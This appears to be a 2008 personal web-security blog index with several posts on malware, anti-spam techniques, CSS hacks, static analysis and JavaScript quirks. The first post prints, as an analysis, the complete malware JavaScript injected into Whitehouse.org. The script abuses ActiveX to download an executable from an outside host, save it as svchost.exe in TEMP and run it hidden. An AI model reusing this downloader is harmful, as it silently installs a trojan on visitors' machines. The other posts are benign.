Subscribe to the RSS feed

Tuesday, May 20 2008

ph34r the script kiddies: Whitehouse.org

I was just reading this news (reported by Kanedaa), decided to look closer to the content of this "malware" stuff to see if there was some nice techniques behind this so called "attack".

Oh men! How disappointing to see that this was done by script kiddies... the "obfuscation" consist of 3 levels of URL encoded javascript... yeah... URL encoding is for sure an obfuscation very hard to prettify. And the final code was just not obfuscated either... Just this:

function myCreateOB(o, n) {
    var r = null;
    try { eval('r = o.CreateObject(n)') }catch(e){}
    if (! r) {try { eval('r = o.CreateObject(n, "")') }catch(e){} }
    if (! r) {try { eval('r = o.CreateObject(n, "", "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject("", n)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n, "")') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}  }
    return(r);
}

function Go(a) {
    var s = myCreateOB(a, "WS"+"cr"+"ip"+"t.S"+"he"+"ll");
    var o = myCreateOB(a, "AD"+"OD"+"B.St"+"re"+"am");
    var e = s.Environment("Process");
    var xml = null;
     var url = 'http://ad.ox88.info/bbs.jpg';
    var bin = e.Item("TEMP") + "svchost.exe";
    var dat;
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHT"+"TP"); }
        catch(e) {
            xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
        }
    }
    if (! xml) return(0);
    xml.open("GET", url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin,0);
}

function mywoewd() {
    var i = 0;
    var ss11='{7F5B7F';
    var ss12='63-F06';
    var ss13='F-4331-8A';
    var ss14='26-339E0'
    var ss15='3C0AE3D}';
    var ss1=ss11+ss12+ss13+ss14+ss15
    var ss2="{BD96"+"C55"+"6-65A3-1"+"1D0-98"+"3A-00C04F"+"C29E36}";
    var ss3="{AB9"+"BCEDD-E"+"C7E-47"+"E1-93"+"22-D4"+"A210617116}";
    var ss4="{00"+"06F"+"033-000"+"0-0000-C0"+"00-00000"+"0000046}";
    var ss5="{0006"+"F03A-0000-00"+"00-C000-00"+"00000"+"00046}";

    var t = new Array(ss1,ss2,ss3,ss4,ss5,null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
         a = document.createElement("object");
         a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e){}
        }
        if (a) {
            try {
                var b = myCreateOB(a, "WSc"+"rip"+"t.Sh"+"ell");
                if (b) {
                    Go(a);
                    return(0);
                }
            } catch(e){}
        }
        i++;
    }
}

As reported by Trend Micro, this is supposed to be a download of the trojan: TROJ_DELF.GKP ... that doesn't mean anything to me but anyway, my AV didn't detect it :)

Thursday, May 1 2008

Accelerate the convergence to the bug: Running the test in 16-bit

Yesterday, I came across a case in a piece of software which was really hard for me to understand perfectly. Not only the code is well written (which is always worse for finding bugs :)) but the structure is also well thought (this is the implementation of an associated array in C in the lighttpd application).

The problem I had was to state whether a tool report was a true-positive/false-positive. So, as in many case I've seen in this software a problem may occur only in the limit cases. This one may occur after INT_MAX insertion in the structure. I don't know if one of you ever tried to do such a thing, but only INT_MAX (~2 billions on typical PC) allocations is a lot, so inserting elements in a structure that needs at least 5 (re)allocations is too much. But well, I did it. Also, I ran this test with valgrind using the memory leak check (full check and high definition).

I then ran a simple test program to fill this structure in a real condition: a typical x86/32-bit architecture. As I knew it was stupid and didn't even think this could end before 2 days I started looking in other direction in order to reduce the INT_MAX size for having a reasonable time execution of the test.


My first attempt is to shift all the types that are used, I knew this was not perfect because even if I can force my program to use unsigned short instead of size_t, I wouldn't change the size of the pointers, a char * would still b 32-bit (there may be some options in gcc to control the size of the pointers — which I doubt — but I didn't find any). Using this methodology, I was able to make the program crash in the way that would have been a real true-positive.


But as I knew it was not good since the size of the pointers are not modified and I had the feeling that in that particular structure, the case of the possible crash is handled by itself (due to pointer and type limits), I started looking in other direction for running that program in 16-bit, a pseudo-real-16-bit-mode. I then started looking into emulators and how to compile code for 16-bits and running it on my linux (x86/32-bit). After having issues compiling and running the test program with the gnu-m68hc11 ELF package, I found the bcc/elksemu stuff. After compiling and running with ELKS utilities, the test program didn't crash, it only failed in an assertion test after an allocation...


Different behavior, with different methods, okay... which is the correct one? Is it a problem of pointer size that made the test running differently than the real program on a 32-bit or maybe a limitation of the elksemu machine? As this morning I checked the state of the 32-bit run I launched yesterday, and this was finished... ended by a failed assertion.

As expected, pointer size matters when you wanna test on intrinsic limitations of a structure and its behavior using limit cases.

Monday, March 17 2008

Untrusted websites passwords

After using different password, it's really bothering to have lots of diversity; you need to remember them or well, store them in a password.txt

I just made a simple script for my own in order, from mostly the same password, to generate different ones for different websites... This is not that big deal, just a simple script to do that, but I thought it could have been useful for some of you...

You can reach the script here: Untrusted websites passwords creator

Wednesday, January 30 2008

Definition parsing: first step done

Since I started to work on my static analyzer using php-ast/oracle, I realized that looking for vulnerabilities need a lot of hard coded/database entries. This is really sad, since, in order to get something correct you would need a huge knowledge database. So I started thinking of generalization of vulnerabilities and way to express it. It's tough. Really.

The most realistic (if I can say so) idea I had is to actually handle vulnerabilities definition using a given taxonomy. I still need a lot of knowledge, especially on the language (PHP) I'm analyzing, especially the output functions, global variable, filters, resources etc. but the big advantage with rules is that you can generalize the definition.

Anyway, I started dealing with natural language, will try to make this fitting into my model in order to communicate with the future static analyzer engine of php-oracle... and thanks to the AIMA project, I was able to get some fast results on the processing:

# source definition:
unvalidated input go to sink in html context
# parse tree:
2 possiblities
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
      23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
       ('Preposition', 'to')
      35PP[]
     
    25VP[]
      68NP[('Name', 'html'), ('Noun', 'context')][]
     ('Preposition', 'in')
    58PP[]
   
  28VP[]

08S[]
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
    23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
          68NP[('Name', 'html'), ('Noun', 'context')][]
         ('Preposition', 'in')
        58PP[]
       
      48NP[]
     ('Preposition', 'to')
    38PP[]
   
  28VP[]
 
08S[]

And the taxonomy I used is the following (which needs to be extended to handle more than "input validation"):

IV = Grammar('InputValidation',
	Rules(
		S = 'NP VP | S Conjunction S',
		NP = 'Pronoun | Noun | Article Noun | Adjective Noun | NP PP | NP RelClause | Name Noun',
		VP = 'Verb | VP NP | VP Adjective | VP PP',
		PP = 'Preposition NP',
		RelClause = 'That VP'
	),
	Lexicon(
		Noun = "input | output | privilege | context | header | user | sink | file",
		Verb = "is | go | write | print",
		Adjective = "validated | unvalidated | asynchronous",
		Pronoun = "me | you | i | it",
		Name = "html | database | http | sql | ldap",
		Article = "the | a | an",
		Preposition = "to | in | on",
		Conjunction = "and | or | but | not",
		That = "that"
	))

Now, I only have to finish my model of a vulnerability (I do not think about building something really general, but a model that can handle injection flaws, privilege, communication would be awesome). Once this is finish, lots of things would be possible such as generating attacks directly from the definition (this would be more like a generalized attack generator) and vulns. checkers for the source code analyzer.

I know this is a kinda tough project and I really have lots of other things to do, but I really want to give this a try... just to see where it goes...

Tuesday, January 29 2008

Search engine keywords extraction

For fuckthespam!, I wanted to add a nice feature due to the content of this website: a listing of keywords that people used to come on this website.

Well, the code is pretty simple bust just wanted to share it; it's working for google, msn and yahoo (the 3 most important search engine), I don't really care about having everything and just wanted to share this PHP snippet.

$referer = $_SERVER["HTTP_REFERER"];
if (strpos($referer,"search") > 0) {
	// look for google, yahoo and MSN
	$key = 0;
	if (strpos($referer,"google.") > 0 || strpos($referer,"msn.") > 0)
		$key = "q";
	else if (strpos($referer,"yahoo.") > 0)
		$key = "p";

	if ($key) {
		$parse_url = parse_url (urldecode($referer));
		if (array_key_exists("query",$parse_url)) {
			$query = $parse_url['query'];
			// extract (.+)$key=(.*)&
			$t = explode("&", $query);
			foreach($t as $k=>$e) {
				if ($e[0] == $key && $e[1] == '=') {
					$k = "$key=";
					$keyword = str_replace($k,'',$e);
					if (strlen($keyword) > 2) {
						// $keyword is actually the whole content of the search
					}
					break;
				}
			}
		}
	}
}

Friday, January 25 2008

Protection against spam bot | fuckthespam.com

I used to work a bit on spam bot protection, whether it is for protecting the email disclosure or the spam in the website itself. I then, started a stupid website called http://fuckthespam.com where I will gather some spam (the funny one) but also listing some anti-spam techniques :)

Hopefully I will be able to also make an history of spam to see how techniques and also content evolved.

Wednesday, October 17 2007

IE6 And IE7 don't have compatible CSS tricks

It's so sad. As a web developer (sometimes), I used to do CSS and like almost all CSS developers you will have some trouble. A bad but fast solution I used to do is to duplicate CSS statement for IE, like this one:

body {
  background-color: green; /*  Green for everybody */
  _background-color: red; /*  Overload to red for Internet Explorer */
}

But this trick is not working anymore with IE7, it doesn't understand the underscore... the solution? Add a point!

body {
  background-color: green; /*  Green for everybody */
  _background-color: red; /*  Overload to red for Internet Explorer 6 */
  .background-color: blue; /*  Overload to blue for Internet Explorer 7 */
}

This is really sad! First of all, the old hack is well none and used... so, lots of CSS are actually not working like it should do with IE7. Why the heck they did that? Isn't Microsoft good are retro-compatibility? Thought so....

Wednesday, May 30 2007

Back to work!

And I've just received this book this morning:

Wednesday, April 11 2007

Pretty good CAPTCHA: Against the current OCR

Today, it reminds me a study from Cmabrigde (http://www.mrc-cbu.cam.ac.uk/~mattd/Cmabrigde/). The idea is that a human needs only few letters in order in a word to understand that word (this is not okay for every word, but it should not be hard to find them).
So the idea is basically to create a captcha as an image with a word, but the word would be disordered in a way that human can read it such as:

CNOTNENT
MANAEGR
KITHCEN
etc.


Okay, based on a current OCR based attack bot, it's doable if you have a dictionary then use something like the levenstein distance and try to minimize the distance with the current word in the dictionary and the word you found with your OCR.
But well, the captcha has not necessary one word...
The only problem I can see with this method is that the dictionary you use to generate the captcha should be in the language of the targeted human. But well, for most of the websites, you know what readers/users you have...

If I have time I'd try to create a lib for this...

Friday, March 30 2007

Firebug: XHR prototype overloading failure

I love firebug, this is something really good for developing web apps. But today, I got an issue which was pretty annoying! First of all, when I develop a small apps, I used to do this under firefox only with firebug and other nice extension loaded.
But today I got an issue when I wanted to overload the XMLHttpRequest send function to do other things with: Firebug simply do not allow me to do this, but it works well if I want to overload the 'open' function!

Pretty annoying but you cannot do this with firebug activated:

XMLHttpRequest.prototype.send = function(data) {
    sData = transformation(data);
    this.originalSend(sData);
}

Tuesday, March 27 2007

Obfuscation and Spam Bots: Update

Sven Vetsch/Disenchant has just send me an email with the Vigenere's version of the obfuscation script. This version is quite cute, but it's true that the public key is not secure enough... let's work on another version with public and private key!.

You can find Disenchant's script here.

Obfuscation and Spam Bots

Always on the same subject: Spam bots, i was thinking that obfuscation would be a good way to prevent spam bots. Then I first start playing with reverse strings even if it may be obvious for the bots but well, I'm pretty sure it's even more difficult than the previous technique which can almost be passed with an intelligent-but-with-no-javascript-support parser.

So this version is quite simple:

<script>
String.prototype.reverse = function() { return this.split('').reverse().join(''); };
function reverseNames() {
	formElement = document.forms[0].elements;
	for(var i = 0; i < formElement.length; i++)	{
		formElement[i].name = formElement[i].name.reverse();
	}
	formElement.submit();
}
</script>
...
<form method="post" action="check.php" onsubmit="reverseNames()">
	<label for="emanresu">&#8238;emanresu&#8237;</label> <input type="text" name="emanresu" />   <br />

You can find the running example: here.
While talking about obfuscation/crypto, since there are few parameters to obfuscate/encrypt maybe a Vigenere algorithm would be nice...

Note that we do not use the 'username' instance in the HTML page, if you want to print 'username' you can use the character &#8238; which reverses the following text.

Friday, March 23 2007

Prevent spam bots on a phpBB2

I used to talk about technique to prevent spam bots for registering or posting somewhere. Even though I think that a good solution for this is to create SessionID with JavaScript, I was a little bit stuck with phpBB2 because of the template engine, I cannot easily dynamically write a JavaScript in the page.

So, the solution I used is to simply create a CAPTCHA which is written in the page with JavaScript such as:

document.write("<input type='hidden' name='persoCaptcha' value='" + generateStaticKeyWord() + "' />");

And then, I had to check for this value in the PHP script.

Fairly simple, but it seems to work without lots of modification of the phpBB2 forum... Here is a list of spam bots that I detected with this technique on a forum. Even if this technique works for now, I will have to use a better one...

Wednesday, March 14 2007

.htaccess for protecting a content for thief

This a really nothing to do with web application security, but a friend asked me how to protect a bunch of html files in a directory. He was looking for sessions based solutions but for this he would have to rename the html files in php or whatever and then, implement the protection... pretty boring!
I suggest him a really easy and not perfect solution: checking the referer when accessing the html files (this is the kind of protection as the images anti-thief):

# .htaccess
# -------
RewriteEngine on
RewriteCond %{HTTP_REFERER} !.*yousite.com/.* [NC]
RewriteRule ^(.*)$ /fail.html [NC]

You can find an example here.

PS: this could not be a valid solution for lots of application!

Wednesday, February 28 2007

Firefox2 and the Weird JavaScript Events...

For almost a week, I've been working with zeno, wisec and others on JavaScript events and HTML Tags; what event can be executed in what tag...
The testing is definitely not finished but I was implementing a JavaScript Unit Testing based test bed for keeping everybody out of clicking on 8700 testcases * nb_browsers...

Anyway, the method I use is to fire a JavaScript event on the load of the document to verify if it works (the information are gathering by the JSUnit Framework).
So, the funny part in firefox is that I can fire almost every event in every tag; you can find an example here where I do something like that:

<acronym onsubmit="alert('TEST')">test</acronym>

The equivalent Internet Explorer version can be find here (it works well... ie does nothing).

I didn't really take the time to think about this but I'm sure something can come from this...

Edit: Wisec found that under firefox you can also fire every events on unexisting tags such as:

<unex ondblclick="alert('TEST')">test</unex >

- page 1 of 2

http://rgaucher.info/bot